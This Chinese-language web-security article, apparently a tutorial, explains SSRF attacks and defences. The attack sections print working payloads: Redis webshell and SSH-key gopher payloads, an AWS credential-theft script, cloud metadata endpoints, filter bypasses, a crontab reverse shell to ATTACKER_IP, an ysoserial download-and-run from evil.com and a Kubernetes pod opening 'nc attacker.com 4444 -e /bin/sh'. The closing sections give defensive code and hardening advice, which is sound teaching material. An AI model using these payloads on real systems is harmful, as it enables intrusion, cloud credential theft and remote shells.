首页 / 文章 / Web安全

SSRF完全指南:内网探测、云元数据窃取与协议走私

一、引言

服务端请求伪造(Server-Side Request Forgery,SSRF)是近年云原生时代最危险的 Web 漏洞之一。2019 年 Capital One 数据泄露事件中,攻击者正是通过 SSRF 窃取 AWS 元数据,最终导致 1.06 亿用户数据泄露。SSRF 可以让攻击者以服务端为跳板,访问内部网络、读取云平台元数据、甚至实现远程代码执行。本文将从原理到实战,全面解析 SSRF 的攻击链路与防御策略。


二、SSRF 攻击原理与常见入口

2.1 漏洞产生根源

当应用程序从用户处接收 URL 或 IP 地址,并以服务端身份发起 HTTP 请求时,如果未对目标地址做严格限制,即产生 SSRF。

# 存在漏洞的图片代理服务
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch-image')
def fetch_image():
    url = request.args.get('url')
    # 危险:服务端直接请求用户提供的 URL
    resp = requests.get(url)
    return resp.content

# 攻击:/fetch-image?url=http://169.254.169.254/latest/meta-data/

2.2 常见 SSRF 入口

功能点 参数示例 风险
图片/文件下载代理 ?url=https://example.com/img.jpg
网页预览/截图服务 ?target=https://example.com
Webhook 配置 ?callback_url=http://attacker.com
远程文件包含 ?file=http://evil.com/shell.txt 极高
PDF 生成服务 HTML→PDF 中嵌入外部图片
API 聚合/代理 ?endpoint=http://internal/api 极高

三、SSRF 协议利用矩阵

SSRF 的强大不仅在于 HTTP 协议。在支持多种协议的语言/库中,攻击面成倍扩大。

3.1 HTTP/HTTPS —— 基础探测

# 内网端口扫描
import requests
import sys

target = sys.argv[1]
for port in [22, 80, 443, 3306, 6379, 8080, 9090, 27017]:
    try:
        r = requests.get(f"http://{target}:{port}", timeout=2)
        print(f"[OPEN] {target}:{port} - {r.status_code}")
    except requests.exceptions.ConnectTimeout:
        print(f"[CLOSED] {target}:{port}")
    except requests.exceptions.ConnectionError:
        print(f"[FILTERED] {target}:{port}")
    except Exception as e:
        print(f"[UNKNOWN] {target}:{port} - {type(e).__name__}")

3.2 Gopher 协议 —— 万金油协议

Gopher 是 SSRF 中的瑞士军刀,可以构造任意 TCP 数据流,实现对 Redis、MySQL、Memcached 等服务的攻击。

攻击 Redis 写入 Webshell

# 1. 构造 Gopher Payload(Redis 命令)
# Redis 命令: 
#   FLUSHALL
#   SET shell "<?php system($_GET['cmd']);?>"
#   CONFIG SET dir /var/www/html/
#   CONFIG SET dbfilename shell.php
#   SAVE

# 2. 转换为 Gopher 格式(URL 编码)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$28%0d%0a<?php system($_GET['cmd']);?>%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

Python 构造 Gopher Payload 脚本

#!/usr/bin/env python3
"""SSRF Gopher Payload Generator"""
import urllib.parse

def build_gopher_payload(host, port, commands):
    """
    将 Redis 命令列表转换为 Gopher URL
    commands: 每行一条 Redis 命令
    """
    # 构造 RESP 协议格式
    payload = ""
    for cmd_line in commands:
        if not cmd_line.strip() or cmd_line.strip().startswith('#'):
            continue
        parts = cmd_line.strip().split()
        payload += f"*{len(parts)}\r\n"
        for part in parts:
            payload += f"${len(part)}\r\n{part}\r\n"
    
    # Gopher 协议的 _ 字符需要二次编码
    encoded = urllib.parse.quote(payload, safe='')
    
    gopher_url = f"gopher://{host}:{port}/_{encoded}"
    return gopher_url

# 示例:向 Redis 写入 SSH 公钥
redis_commands = """
FLUSHALL
SET ssh_key "\\n\\nssh-rsa AAAAB3NzaC1yc2E...attacker@kali\\n\\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
"""

url = build_gopher_payload("127.0.0.1", 6379, redis_commands.splitlines())
print(f"[+] Gopher Payload:\n{url}")

# 通过 SSRF 发送
# /fetch-image?url={url}

3.3 Dict 协议 —— 端口探测利器

# Dict 协议直接发送文本到目标端口,适合快速端口扫描
dict://127.0.0.1:6379/info   # 返回 Redis INFO
dict://127.0.0.1:3306/       # 探测 MySQL
dict://127.0.0.1:11211/stats # 探测 Memcached

# 端口扫描 Burp Intruder Payload
# Target: dict://127.0.0.1:§port§
# Port list: 21,22,80,443,1433,1521,3306,5432,6379,8080,11211,27017

3.4 File 协议 —— 任意文件读取

# 读取敏感文件(需要后端支持 file://)
file:///etc/passwd
file:///proc/self/environ
file:///app/.env               # 云环境密钥文件
file:///proc/1/cwd/.env        # Docker 容器内

四、云元数据窃取实战

4.1 AWS EC2 元数据窃取

AWS EC2 实例内部可通过 169.254.169.254 访问元数据服务(IMDSv1):

import requests

# 通过 SSRF 窃取 AWS 元数据的完整链
target_ssrf_url = "https://vulnerable-app.com/fetch?url="

# Step 1: 获取 IAM 角色名
imds_base = "http://169.254.169.254/latest/meta-data"
role_url = f"{imds_base}/iam/security-credentials/"
role_name = requests.get(f"{target_ssrf_url}{role_url}").text

# Step 2: 获取临时凭证(AccessKey, SecretKey, Token)
creds_url = f"{imds_base}/iam/security-credentials/{role_name.strip()}"
creds = requests.get(f"{target_ssrf_url}{creds_url}").json()

print(f"""
[+] AWS Credentials Stolen:
    AccessKeyId: {creds['AccessKeyId']}
    SecretAccessKey: {creds['SecretAccessKey']}
    Token: {creds['Token']}
    Expiration: {creds['Expiration']}
""")

# Step 3: 使用窃取的凭证列举 S3 Bucket
# aws s3 ls --profile stolen
# aws s3 cp s3://target-bucket/database_backup.sql ./

IMDSv2 限制:AWS 已推出 IMDSv2,要求请求携带 PUT 方法获取的 Token。但多数云环境仍兼容 IMDSv1。

4.2 阿里云 ECS 元数据窃取

# 阿里云 ECS 元数据端点
curl http://100.100.100.200/latest/meta-data/

# 关键元数据路径
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}
http://100.100.100.200/latest/meta-data/private-ipv4
http://100.100.100.200/latest/user-data  # 可能包含初始化脚本中的敏感信息

4.3 腾讯云 CVM 元数据

# 腾讯云元数据端点(metadata 拼写注意)
curl http://metadata.tencentyun.com/latest/meta-data/
curl http://169.254.0.23/latest/meta-data/

# 获取角色凭证
curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}

4.4 GCP / Azure / DigitalOcean

# GCP
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \
     -H "Metadata-Flavor: Google"

# Azure
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ \
     -H "Metadata: true"

# DigitalOcean
curl http://169.254.169.254/metadata/v1.json

五、SSRF 绕过技巧

5.1 IP 限制绕过

# 黑名单绕过:多种 IP 表示法
http://2130706433/          # 十进制 IP → 127.0.0.1
http://0x7f000001/          # 十六进制
http://0x7f.0.0.1/          # 混合表示
http://0177.0.0.1/          # 八进制
http://127.0.0.1.xip.io/    # DNS 解析到 127.0.0.1
http://[::1]/               # IPv6 环回地址
http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv6 映射 IPv4
http://127.0.0.1.nip.io/    # nip.io 任意 IP 解析服务

5.2 URL 解析器混淆

# 利用不同 URL 解析器的差异
# 1. 利用 @ 符号
http://trusted.com@evil.com           # 部分解析器认为是 trusted.com,实际请求 evil.com
http://evil.com#@trusted.com          # # 后视为 fragment

# 2. 利用 URL Scheme 大小写
HTTP://169.254.169.254/              # 大写绕过

# 3. 利用 URL 编码
http://169.254.169.254%2f@evil.com/  # 解析差异

# 4. 利用重定向(302 跳转)
# 让一个外网可控域名 302 跳转到 http://169.254.169.254/
# 首次 URL 校验通过 → 跟随跳转 → 请求内网

5.3 DNS Rebinding

#!/usr/bin/env python3
"""
DNS Rebinding 攻击:利用 TTL=0 的 DNS 记录在不同解析时刻返回不同 IP
"""
from flask import Flask, request

app = Flask(__name__)
TOGGLE = False

@app.route('/resolve')
def dns_rebind():
    """模拟 DNS 服务器,交替返回外网 IP 和内网 IP"""
    global TOGGLE
    TOGGLE = not TOGGLE
    if TOGGLE:
        return "1.2.3.4"    # 首次校验:外网合法 IP
    else:
        return "127.0.0.1"  # 实际请求:内网

# 使用 rbndr.us 服务实现 DNS Rebinding
# 域名:7f000001.127.0.0.1.rbndr.us → 交替返回 127.0.0.1 和 另一个 IP

六、SSRF 进阶:从 HTTP 到 RCE

6.1 Redis RCE 完整链

# Step 1: 通过 SSRF 探测内网 Redis(无密码)
# SSRF: /fetch?url=dict://10.0.1.5:6379/INFO

# Step 2: 构造 RCE Payload——写 crontab 反弹 Shell
# 使用 gopher 协议(需要后端支持,如 curl)
cat << 'EOF' | python3 -c "
import sys, urllib.parse
payload = '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n'
cmds = f'*3\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$3\r\ndir\r\n\$4\r\n/etc\r\n*4\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$10\r\ndbfilename\r\n\$7\r\ncrontab\r\n*1\r\n\$4\r\nSAVE\r\n'
# 实际写入 crontab 更复杂,这里简化演示
print('gopher://10.0.1.5:6379/_' + urllib.parse.quote(payload))
"

6.2 结合反序列化漏洞

// 当 SSRF 遇到不安全的 Java 反序列化
// SSRF → 内网 Weblogic/Jenkins → T3/IIOP → 反序列化 RCE

// 使用 ysoserial 生成 Payload
// java -jar ysoserial.jar CommonsCollections6 'wget http://evil.com/shell.sh -O /tmp/s.sh;bash /tmp/s.sh' > payload.ser

// 通过 SSRF 使用 gopher 协议投递到内网 Weblogic
// gopher://10.0.2.15:7001/_<hex_encoded_payload>

6.3 利用 SSRF 攻击内部 API

// SSRF → 内网 Kubernetes API Server
// Kubernetes API 通常监听在 10.0.0.1:443 或 10.96.0.1:443

// 通过 SSRF 创建特权 Pod
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: 10.96.0.1:443
Authorization: Bearer <serviceaccount-token-from-/var/run/secrets/kubernetes.io/serviceaccount/token>
Content-Type: application/json

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {"name": "evil-pod"},
  "spec": {
    "containers": [{
      "name": "evil",
      "image": "alpine",
      "command": ["/bin/sh", "-c", "nc attacker.com 4444 -e /bin/sh"],
      "volumeMounts": [{"name": "host", "mountPath": "/host"}]
    }],
    "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
  }
}

七、防御方案

7.1 第一层:应用层防御

#!/usr/bin/env python3
"""SSRF 安全请求封装"""
import socket
from urllib.parse import urlparse
import ipaddress
import requests

# 内网 IP 段黑名单
BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # 云元数据地址
    ipaddress.ip_network('224.0.0.0/4'),     # 组播
]

BLOCKED_HOSTS = {
    'metadata.google.internal',
    '100.100.100.200',      # 阿里云元数据
    'metadata.tencentyun.com',
}

def is_safe_url(url):
    """多层级 URL 安全检查"""
    parsed = urlparse(url)
    
    # 1. 仅允许 HTTP/HTTPS
    if parsed.scheme not in ('http', 'https'):
        return False, f"Forbidden scheme: {parsed.scheme}"
    
    # 2. 检查主机名黑名单
    hostname = parsed.hostname
    if hostname in BLOCKED_HOSTS:
        return False, f"Forbidden hostname: {hostname}"
    
    # 3. DNS 解析后检查 IP(防止 DNS Rebinding)
    try:
        ip = socket.getaddrinfo(hostname, None)[0][4][0]
    except socket.gaierror:
        return False, "DNS resolution failed"
    
    ip_obj = ipaddress.ip_address(ip)
    
    # 4. 检查是否为内网地址
    for network in BLOCKED_NETWORKS:
        if ip_obj in network:
            return False, f"Forbidden IP range: {ip} ({network})"
    
    # 5. 禁止重定向(使用 allow_redirects=False)
    return True, None

def safe_fetch(url, timeout=5):
    """安全的请求代理"""
    safe, reason = is_safe_url(url)
    if not safe:
        raise ValueError(f"SSRF blocked: {reason}")
    
    # 关键:禁用自动重定向
    resp = requests.get(url, timeout=timeout, allow_redirects=False, stream=True)
    
    # 检查重定向
    if resp.status_code in (301, 302, 303, 307, 308):
        redirect_url = resp.headers.get('Location', '')
        safe, _ = is_safe_url(redirect_url)
        if not safe:
            raise ValueError("SSRF blocked: redirect to dangerous target")
    
    return resp.content

7.2 第二层:网络层防御

# iptables 规则:禁止应用用户访问元数据端点
iptables -A OUTPUT -d 169.254.169.254 -j DROP -m owner --uid-owner appuser
iptables -A OUTPUT -d 100.100.100.200 -j DROP -m owner --uid-owner appuser

# Docker 网络隔离
docker network create --internal secure-network
docker run --network=secure-network myapp  # 无外网无内网访问能力

7.3 第三层:架构层防御

策略 说明 难度
正向代理白名单 Nginx/Squid 只允许代理到已知外部域名
AWS IMDSv2 强制 禁用 IMDSv1,仅允许 PUT 请求获取 Token
网络策略隔离 Kubernetes NetworkPolicy 禁止 Pod 间横向访问
微隔离 应用层之间零信任,彼此不可见
eBPF 内核级过滤 Cilium/Tetragon 在系统调用级别阻断 SSRF

八、总结

SSRF 在云原生时代被赋予了新的攻击维度——从单纯的内网探针升级为"云凭证窃取 → 横向移动 → 数据泄露"的完整杀伤链。防御 SSRF 需要:

  1. 永远不信任用户提供的 URL——白名单 > 黑名单
  2. 限制协议与重定向——只允许 HTTPS,禁用自动跳转
  3. 网络层隔离——用 iptables/NetworkPolicy 阻断元数据访问
  4. 云平台加固——启用 IMDSv2,使用实例角色最小权限
  5. DNS 再解析校验——获取真实 IP 后再做一次地址校验

记住:SSRF 不是"能不能打进去"的问题,而是"打进去后能走多远"的问题。